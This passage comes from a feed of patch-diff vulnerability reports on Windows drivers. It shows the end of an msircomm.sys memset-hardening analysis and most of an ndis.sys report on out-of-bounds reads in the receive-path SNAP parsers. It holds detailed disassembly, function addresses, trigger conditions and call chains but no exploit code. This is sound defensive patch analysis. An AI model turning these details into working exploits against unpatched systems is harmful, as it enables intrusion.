class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C089&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C0A0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+rcx*2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14w&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NUL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fills&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched build — a redundant &lt;code&gt;memset&lt;/code&gt; of &lt;code&gt;Length + 2&lt;/code&gt; is inserted before the &lt;code&gt;memmove&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C06C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C078&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C07E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C000C263&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C084&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C087&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C089&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C08C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redundant&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C091&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C09C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C0AF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+rcx*2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15w&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NUL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;For &lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; (&lt;code&gt;0x1C00015C0&lt;/code&gt;):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;msircomm.sys&lt;/code&gt; must be loaded (IR device present or force-loaded).&lt;/li&gt;
&lt;li&gt;The routine runs on PnP &lt;code&gt;AddDevice&lt;/code&gt; (create path, &lt;code&gt;a3 != 0&lt;/code&gt;) and on &lt;code&gt;IRP_MN_REMOVE_DEVICE&lt;/code&gt; (delete path, &lt;code&gt;a3 == 0&lt;/code&gt;). These are driven by device attach/detach or driver reinstall, not by an unprivileged IOCTL.&lt;/li&gt;
&lt;li&gt;In the unpatched build, the bytes of &lt;code&gt;DeviceName.Buffer&lt;/code&gt; beyond &lt;code&gt;ResultLength&lt;/code&gt; hold stale pool data at the point of the &lt;code&gt;IoGetDeviceProperty&lt;/code&gt; return, but the downstream &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt;, &lt;code&gt;RtlWriteRegistryValue&lt;/code&gt;, and &lt;code&gt;RtlDeleteRegistryValue&lt;/code&gt; all operate on the bounded PDO name only, so those stale bytes are not surfaced to user mode.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;0x1C000C008&lt;/code&gt;) runs once at driver load; its registry-path buffer is fully written in both builds, so there is nothing to trigger.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None demonstrable. The added zeroing in &lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; is defense-in-depth against a partially-filled pool buffer; the buffer's consumers are bounded to the physical device object name (counted &lt;code&gt;UNICODE_STRING&lt;/code&gt; length for the symbolic link, NUL terminator for the registry value name), so the uninitialized tail does not reach a user-readable artifact in the code as written.&lt;/li&gt;
&lt;li&gt;No pool-grooming, KASLR-bypass, or mitigation-bypass primitive is supported by the observed code paths.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Analyst Notes&lt;/h2&gt;
&lt;p&gt;For an analyst examining the &lt;strong&gt;unpatched&lt;/strong&gt; binary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; entry: &lt;code&gt;0x1C00015C0&lt;/code&gt;. &lt;code&gt;rcx&lt;/code&gt; = DeviceObject, &lt;code&gt;rdx&lt;/code&gt; = InterfaceName pointer, &lt;code&gt;r8b&lt;/code&gt; = create (&lt;code&gt;1&lt;/code&gt;) / delete (&lt;code&gt;0&lt;/code&gt;) selector.&lt;/li&gt;
&lt;li&gt;Second &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; for &lt;code&gt;DeviceName.Buffer&lt;/code&gt;: &lt;code&gt;0x1C00016C2&lt;/code&gt; (unpatched). The pointer returned in &lt;code&gt;rax&lt;/code&gt; is stored at &lt;code&gt;[rbp+DeviceName.Buffer]&lt;/code&gt;; in the unpatched build no zero-fill follows before &lt;code&gt;IoGetDeviceProperty&lt;/code&gt; at &lt;code&gt;0x1C00016FA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The corresponding patched insertion point is &lt;code&gt;loc_1C00016EC&lt;/code&gt; (&lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1C00016F9&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Pool tag is &lt;code&gt;'IrCo'&lt;/code&gt; (&lt;code&gt;0x6F437249&lt;/code&gt;, little-endian).&lt;/li&gt;
&lt;li&gt;Callers to break on: &lt;code&gt;IrCommAddDevice&lt;/code&gt; (&lt;code&gt;0x1C0001010&lt;/code&gt;, create path) and &lt;code&gt;IrCommPnP&lt;/code&gt; (&lt;code&gt;0x1C0001290&lt;/code&gt;, delete path at &lt;code&gt;MinorFunction == 2&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C00015C0&lt;/code&gt;, Similarity: 0.9854 | Type: Security-relevant, low impact)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Change:&lt;/em&gt; Added &lt;code&gt;memset(DeviceName.Buffer, 0, MaximumLength + 2)&lt;/code&gt; immediately after the second &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; and before &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;. Zeroes a partially-filled PagedPool buffer (CWE-908 hardening). The register &lt;code&gt;r13&lt;/code&gt; is introduced to hold the constant &lt;code&gt;2&lt;/code&gt; for the size argument; the remaining differences are register renumbering from the inserted code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DriverEntry&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000C008&lt;/code&gt;, Similarity: 0.9064 | Type: Redundant hardening)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Change:&lt;/em&gt; Added &lt;code&gt;memset(buf, 0, Length + 2)&lt;/code&gt; after the &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; for the registry-path copy. The buffer is already fully written by the subsequent &lt;code&gt;memmove&lt;/code&gt; plus NUL-terminator store in both builds, so this is redundant. The prologue gains an extra saved register (&lt;code&gt;r15&lt;/code&gt;) and the size value is cached in &lt;code&gt;r14&lt;/code&gt; for the new &lt;code&gt;memset&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No other functions changed content. All remaining differences between the two builds are address shifts in relocated functions caused by the two inserted &lt;code&gt;memset&lt;/code&gt; calls.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High. An independent function-by-function diff of both builds confirms exactly two content changes, both of which are &lt;code&gt;memset&lt;/code&gt; insertions after pool allocations. &lt;code&gt;0x1C0006500&lt;/code&gt; is the driver's &lt;code&gt;memset&lt;/code&gt; thunk (called with &lt;code&gt;Val = 0&lt;/code&gt;), matching a zero-fill.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assessment:&lt;/strong&gt; Finding 1 is a genuine but low-severity CWE-908 hardening — the uninitialized tail of the device-name buffer is not exposed to user mode by the code's consumers, so no information-disclosure vulnerability is demonstrable. Finding 2 zeroes a buffer that is already fully initialized in both builds and therefore has no security effect.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ndis.sys — Out-of-bounds read in receive-path Ethernet/SNAP parsers (CWE-125), fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ndis_ca353ca6-ndis-report-20260703-162301.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/ndis_ca353ca6-ndis-report-20260703-162301.html</id><summary type="html">&lt;p&gt;KB5078883&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Binaries:&lt;/strong&gt; &lt;code&gt;ndis_unpatched.sys&lt;/code&gt; vs. &lt;code&gt;ndis_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 98.66%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 3451 matched functions (3409 identical, 42 changed), 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes the same out-of-bounds read (CWE-125) in two NDIS receive-path Ethernet/SNAP parsers and adds a NULL guard on the MDL pointer in each. &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; classifies/sorts received &lt;code&gt;NET_BUFFER_LIST&lt;/code&gt;s and is reached from the standard miniport receive-indication dispatch (&lt;code&gt;ndisMDispatchReceiveNetBufferLists&lt;/code&gt; and related), so its instance is reachable on the ordinary receive path. &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; is the same parser reached only from the datapath receive verifier, which is enabled per adapter, so that instance is not reachable on the default path. In both, the LLC/SNAP branch reads a 16-bit field at data offset &lt;code&gt;0x14&lt;/code&gt; (bytes 20-21) while the preceding length check only guaranteed the remaining mapped length was at least &lt;code&gt;0xE&lt;/code&gt; (14); the patch adds a &lt;code&gt;remaining &amp;gt;= 0x16&lt;/code&gt; (22) check before that read. The out-of-bounds value is used only for the driver's internal EtherType/protocol classification and is not returned to the frame sender. The patch also tightens embedded-descriptor validation on the NDIS user-mode PnP/IOCTL path (&lt;code&gt;ndisValidateEmbeddedBufferBounds&lt;/code&gt; gains a minimum-offset check); that change is input-validation hardening, not a memory-safety fix, because the sub-buffer was already bounded to the parent buffer in both builds. All remaining changed functions are WIL feature-staging, tracing, or register-allocation churn.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Out-of-bounds read in the receive-verifier Ethernet/SNAP parser&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-bounds read (CWE-125); added NULL-pointer guard (defense in depth)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; @ &lt;code&gt;0x1C006E370&lt;/code&gt; (unpatched) → &lt;code&gt;0x1C00141EC&lt;/code&gt; (patched)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; On the 802.3 path the routine loads &lt;code&gt;CurrentMdl = FirstNetBuffer-&amp;gt;CurrentMdl&lt;/code&gt; and reads &lt;code&gt;CurrentMdl-&amp;gt;ByteCount&lt;/code&gt; with no NULL check, then verifies that the remaining mapped data length (&lt;code&gt;ByteCount - CurrentMdlOffset&lt;/code&gt;) is at least &lt;code&gt;0xE&lt;/code&gt; (14). On the LLC/SNAP branch (data bytes &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0x03&lt;/code&gt; at offsets 14/15/16) it reads a 16-bit field at data offset &lt;code&gt;0x14&lt;/code&gt; (bytes 20-21) without first requiring the remaining length to be at least &lt;code&gt;0x16&lt;/code&gt; (22). A truncated SNAP frame whose remaining length is between 14 and 21 bytes therefore causes a read of up to ~8 bytes past the valid MDL data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; has exactly one caller, &lt;code&gt;ndisNblVerifyRxIndication&lt;/code&gt; (the NDIS datapath receive verifier). &lt;code&gt;NdisFIndicateReceiveNetBufferLists&lt;/code&gt; and &lt;code&gt;NdisMIndicateReceiveNetBufferLists&lt;/code&gt; invoke that verifier only when the adapter's datapath-verification flag is set (filter handle &lt;code&gt;+0x38&lt;/code&gt; bit &lt;code&gt;0x200&lt;/code&gt;; miniport handle &lt;code&gt;+0xE68&lt;/code&gt; bit &lt;code&gt;0x800&lt;/code&gt;). The datapath verifier is a diagnostic feature (&lt;code&gt;ndisDatapathVerifierMode&lt;/code&gt; / &lt;code&gt;MmIsVerifierEnabled&lt;/code&gt;) that is off by default. The normal receive fast path does not call this parser.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (Call Chain):&lt;/strong&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;NdisMIndicateReceiveNetBufferLists&lt;/code&gt; / &lt;code&gt;NdisFIndicateReceiveNetBufferLists&lt;/code&gt; (only when datapath verification is enabled for the adapter)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisNblVerifyRxIndication&lt;/code&gt; (&lt;code&gt;0x1C00722BC&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; (&lt;code&gt;0x1C006E370&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Out-of-bounds read in the receive NBL-sort Ethernet/SNAP parser&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-bounds read (CWE-125); added NULL-pointer guard (defense in depth)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; @ &lt;code&gt;0x1C0012960&lt;/code&gt; (unpatched) → &lt;code&gt;0x1C0012B00&lt;/code&gt; (patched)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; This is the same defect as Finding 1 in a second, separately compiled parser. When it classifies a received &lt;code&gt;NET_BUFFER_LIST&lt;/code&gt; it loads &lt;code&gt;CurrentMdl = FirstNetBuffer-&amp;gt;CurrentMdl&lt;/code&gt; and reads &lt;code&gt;CurrentMdl-&amp;gt;ByteCount&lt;/code&gt; with no NULL check, then requires the remaining mapped length (&lt;code&gt;ByteCount - CurrentMdlOffset&lt;/code&gt;) to be at least &lt;code&gt;0xE&lt;/code&gt; (14). On the LLC/SNAP branch (data bytes &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0x03&lt;/code&gt; at offsets 14/15/16) it reads a 16-bit field at data offset &lt;code&gt;0x14&lt;/code&gt; (bytes 20-21) without first requiring the remaining length to be at least &lt;code&gt;0x16&lt;/code&gt; (22). A truncated SNAP frame whose remaining mapped length is between 14 and 21 bytes therefore causes a read of up to ~8 bytes past the valid MDL data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; Unlike Finding 1, this parser is not verifier-gated. &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; is called from the standard miniport receive-indication dispatch: &lt;code&gt;ndisMTopReceiveNetBufferLists&lt;/code&gt; (&lt;code&gt;0x1C0011EA0&lt;/code&gt;), &lt;code&gt;ndisMDispatchReceiveNetBufferLists&lt;/code&gt; (&lt;code&gt;0x1C009DD90&lt;/code&gt;), &lt;code&gt;ndisMDispatchReceiveNetBufferListsWithLock&lt;/code&gt; (&lt;code&gt;0x1C00322D0&lt;/code&gt;), &lt;code&gt;ndisDoPeriodicReceivesIndication&lt;/code&gt; (&lt;code&gt;0x1C00A99D4&lt;/code&gt;), and &lt;code&gt;ndisMIndicateSplitNblChain&lt;/code&gt; (&lt;code&gt;0x1C00AA6B0&lt;/code&gt;). The L2 header is parsed to classify/sort the indicated NBLs; the parse is taken unless a precomputed protocol value is already present (&lt;code&gt;*(NDIS_NBL_RCV_TRACKER-&amp;gt;field0 + 0x1D0) != 0&lt;/code&gt; selects the precomputed value at &lt;code&gt;NET_BUFFER_LIST+0xC8&lt;/code&gt; instead). The out-of-bounds value becomes the NBL's internal EtherType/protocol classification; it is not returned to the frame sender. On a typical hardware receive buffer (a fixed-size DMA buffer larger than the frame) the read stays inside the buffer and merely misreads stale bytes; it crosses an allocation boundary only when the MDL is sized to the frame with no mapped page following, in which case a boundary-crossing read under Special Pool bugchecks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (Call Chain):&lt;/strong&gt;&lt;ol&gt;
&lt;li&gt;Miniport receive indication (&lt;code&gt;ndisMTopReceiveNetBufferLists&lt;/code&gt; / &lt;code&gt;ndisMDispatchReceiveNetBufferLists&lt;/code&gt; / &lt;code&gt;ndisMDispatchReceiveNetBufferListsWithLock&lt;/code&gt; / &lt;code&gt;ndisDoPeriodicReceivesIndication&lt;/code&gt; / &lt;code&gt;ndisMIndicateSplitNblChain&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; (&lt;code&gt;0x1C0012960&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Missing minimum-offset check in embedded-descriptor validation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (input-validation hardening)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Improper input validation (CWE-20); no demonstrated out-of-bounds access&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ndisValidateEmbeddedBufferBounds&lt;/code&gt; @ &lt;code&gt;0x1C0116760&lt;/code&gt; (unpatched) → &lt;code&gt;0x1C010C3CC&lt;/code&gt; (patched), plus its wrappers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause / What Changed:&lt;/strong&gt; In both builds the validator already enforced that the embedded sub-buffer &lt;code&gt;[base+Offset, base+Offset+Length)&lt;/code&gt; lies entirely within the parent input buffer &lt;code&gt;[base, base+parent_len)&lt;/code&gt;, so downstream reads never exceeded the parent allocation. The patch adds one parameter (a minimum) and rejects the request when &lt;code&gt;Offset &amp;lt; minimum&lt;/code&gt;. The &lt;code&gt;NDIS_VAR_DATA_DESC&lt;/code&gt; wrappers now pass that minimum (0x28 for the 32-bit thunk descriptor variant, 0x48 for the native variant), forcing the descriptor's variable data to begin beyond the fixed request header rather than overlapping it. This prevents an attacker-supplied descriptor from aliasing the fixed structure fields; it is not an out-of-bounds read, because containment was, and remains, enforced in both builds and the calling handler's own size and overflow checks (0x48 minimum, &lt;code&gt;offset+size&lt;/code&gt; overflow rejection) are present in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; NDIS user-mode PnP operation path, exposed locally via &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; to the NDIS device.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (Call Chain):&lt;/strong&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; dispatch&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisHandlePnPRequest&lt;/code&gt; (&lt;code&gt;0x1C0144008&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisValidateNdisVarDataDesc32InputString&lt;/code&gt; (&lt;code&gt;0x1C012DF58&lt;/code&gt;) / &lt;code&gt;ndisValidateNdisVarDataDescInputString&lt;/code&gt; (&lt;code&gt;0x1C01166DC&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisValidateEmbeddedBufferBounds&lt;/code&gt; (&lt;code&gt;0x1C0116760&lt;/code&gt;)&lt;/li&gt;
